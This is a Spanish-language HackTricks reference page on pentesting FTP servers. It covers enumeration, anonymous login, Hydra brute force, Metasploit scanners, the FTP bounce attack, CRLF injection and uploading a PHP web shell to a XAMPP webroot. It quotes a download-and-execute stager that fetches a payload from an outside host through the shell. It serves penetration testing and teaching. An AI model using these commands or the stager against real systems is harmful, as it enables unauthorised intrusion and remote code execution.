21 - Pentesting FTP

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

El File Transfer Protocol (FTP) sirve como protocolo estándar para la transferencia de archivos a través de una red informática entre un servidor y un cliente.
Es un protocolo de texto plano que usa como carácter de nueva línea 0x0d 0x0a, por lo que a veces necesitas conectarte usando telnet o nc -C.

Puerto por defecto: 21

PORT   STATE SERVICE
21/tcp open  ftp

Conexiones Active & Passive

En Active FTP el cliente FTP primero inicia la conexión de control desde su puerto N al puerto de comandos del servidor FTP – el puerto 21. El cliente entonces escucha en el puerto N+1 y envía el puerto N+1 al servidor FTP. El servidor FTP entonces inicia la conexión de datos, desde su puerto M al puerto N+1 del cliente FTP.

Sin embargo, si el cliente FTP tiene un firewall que controla las conexiones de datos entrantes desde el exterior, Active FTP puede ser un problema. Una solución factible para ello es Passive FTP.

En Passive FTP, el cliente inicia la conexión de control desde su puerto N al puerto 21 del servidor FTP. Después de esto, el cliente emite la passv comand. El servidor entonces envía al cliente uno de sus números de puerto M. Y el cliente inicia la conexión de datos desde su puerto P al puerto M del servidor FTP.

Fuente: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Depuración de la conexión

Los comandos FTP debug y trace se pueden usar para ver cómo está ocurriendo la comunicación.

Enumeración

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Conectarse a FTP usando starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

Con nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Puedes usar los comandos HELP y FEAT para obtener información del servidor FTP:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Inicio de sesión anónimo

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Aquí puedes encontrar una buena lista con credenciales ftp por defecto: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Automatizado

Las comprobaciones de Anon login y bounce FTP se realizan por defecto con nmap usando la opción -sC o:

nmap --script ftp-* -p 21 <ip>

Conexión desde el navegador

Puedes conectarte a un servidor FTP usando un navegador (como Firefox) con una URL como:

ftp://anonymous:anonymous@10.10.10.98

Ten en cuenta que si una web application está enviando datos controlados por un usuario directly to a FTP server puedes enviar bytes double URL encode %0d%0a (en double URL encode esto es %250d%250a) y hacer que el FTP server perform arbitrary actions. Una de estas posibles acciones arbitrarias es descargar contenido desde un servidor controlado por el usuario, realizar port scanning o intentar comunicarse con otros servicios basados en texto plano (como http).

Descargar todos los archivos desde FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Si su usuario/contraseña contiene caracteres especiales, puede usar el siguiente comando:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD suele mapear la raíz FTP a /opt/lampp/htdocs, por lo que credenciales débiles en cuentas de servicio como daemon o nobody te permiten upload a PHP web shell directly into the served webroot.
  • Después de subir, trigger an architecture-aware download/exec stager vía el shell, por ejemplo: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), el cual descarga una payload validada por checksum, la guarda (p. ej., init_start), aplica chmod +x y la ejecuta.
  • Si el directorio actual no es escribible/ejecutable, el stager cae en /tmp, así que prueba rutas web y permisos del sistema de archivos después de la subida.

Algunos comandos FTP

  • USER username
  • PASS password
  • HELP El servidor indica qué comandos están soportados
  • PORT 127,0,0,1,0,80 Esto indicará al servidor FTP que establezca una conexión con la IP 127.0.0.1 en el puerto 80 (debes poner el 5º valor como “0” y el 6º como el puerto en decimal o usar el 5º y 6º para expresar el puerto en hex).
  • EPRT |2|127.0.0.1|80| Esto indicará al servidor FTP que establezca una conexión TCP (indicada por “2”) con la IP 127.0.0.1 en el puerto 80. Este comando soporta IPv6.
  • LIST Envía la lista de archivos en la carpeta actual
  • LIST -R Lista recursivamente (si el servidor lo permite)
  • APPE /path/something.txt Indica al FTP que almacene los datos recibidos desde una conexión pasiva o desde una conexión PORT/EPRT a un archivo. Si el nombre de archivo existe, añadirá los datos.
  • STOR /path/something.txt Como APPE pero sobrescribirá los archivos
  • STOU /path/something.txt Como APPE, pero si existe no hace nada.
  • RETR /path/to/file Debe establecerse una conexión pasiva o por PORT. Entonces, el servidor FTP enviará el archivo indicado a través de esa conexión
  • REST 6 Indica al servidor que la próxima vez que envíe algo usando RETR debe comenzar en el byte 6.
  • TYPE i Configura la transferencia en binario
  • PASV Esto abrirá una conexión pasiva e indicará al usuario dónde puede conectarse
  • PUT /tmp/file.txt Sube el archivo indicado al FTP

FTPBounce attack

Algunos servidores FTP permiten el comando PORT. Este comando puede usarse para indicar al servidor que quieres que se conecte a otro servidor FTP en algún puerto. Entonces, puedes usar esto para escanear qué puertos de un host están abiertos a través de un servidor FTP.

Aprende aquí cómo abusar de un servidor FTP para escanear puertos.

También podrías abusar de este comportamiento para hacer que un servidor FTP interactúe con otros protocolos. Podrías subir un archivo que contenga una solicitud HTTP y hacer que el servidor FTP vulnerable la envíe a un servidor HTTP arbitrario (¿quizás para añadir un nuevo usuario admin?) o incluso subir una petición FTP y hacer que el servidor FTP vulnerable descargue un archivo desde otro servidor FTP.
La teoría es sencilla:

  1. Sube la petición (dentro de un archivo de texto) al servidor vulnerable. Recuerda que si quieres comunicarte con otro servidor HTTP o FTP necesitas cambiar las líneas con 0x0d 0x0a
  2. Usa REST X para evitar enviar los caracteres que no quieres enviar (quizá para subir la petición dentro del archivo necesitaste poner algún encabezado de imagen al principio)
  3. Usa PORT para conectarte al servidor y servicio arbitrario
  4. Usa RETR para enviar la petición guardada al servidor.

Es muy probable que esto arroje un error como Socket not writable porque la conexión no dura lo suficiente para enviar los datos con RETR. Sugerencias para intentar evitar eso son:

  • Si estás enviando una solicitud HTTP, pon la misma solicitud una tras otra hasta ~0.5MB al menos. Así:

  • Intenta rellenar la petición con datos “basura” relativos al protocolo (al hablar con FTP quizá solo comandos basura o repetir la instrucción RETR para obtener el archivo)
  • Simplemente rellena la petición con muchos caracteres nulos u otros (divididos en líneas o no)

De todas formas, aquí tienes un ejemplo antiguo sobre cómo abusar de esto para que un servidor FTP descargue un archivo desde un FTP diferente.

Filezilla Server Vulnerability

FileZilla normalmente bindea a un servicio Administrativo local para FileZilla-Server (puerto 14147). Si puedes crear un túnel desde tu máquina para acceder a este puerto, puedes conectarte a él usando una contraseña vacía y crear un nuevo usuario para el servicio FTP.

Archivos de configuración

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

La configuración por defecto de vsFTPd se puede encontrar en /etc/vsftpd.conf. Aquí, podrías encontrar algunas opciones peligrosas:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Directorio para usuarios anónimos.
  • chown_uploads=YES - Cambiar la propiedad de los archivos subidos de forma anónima
  • chown_username=username - Usuario que recibe la propiedad de los archivos subidos de forma anónima
  • local_enable=YES - Permitir que usuarios locales inicien sesión
  • no_anon_password=YES - No pedir contraseña al usuario anonymous
  • write_enable=YES - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE y SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks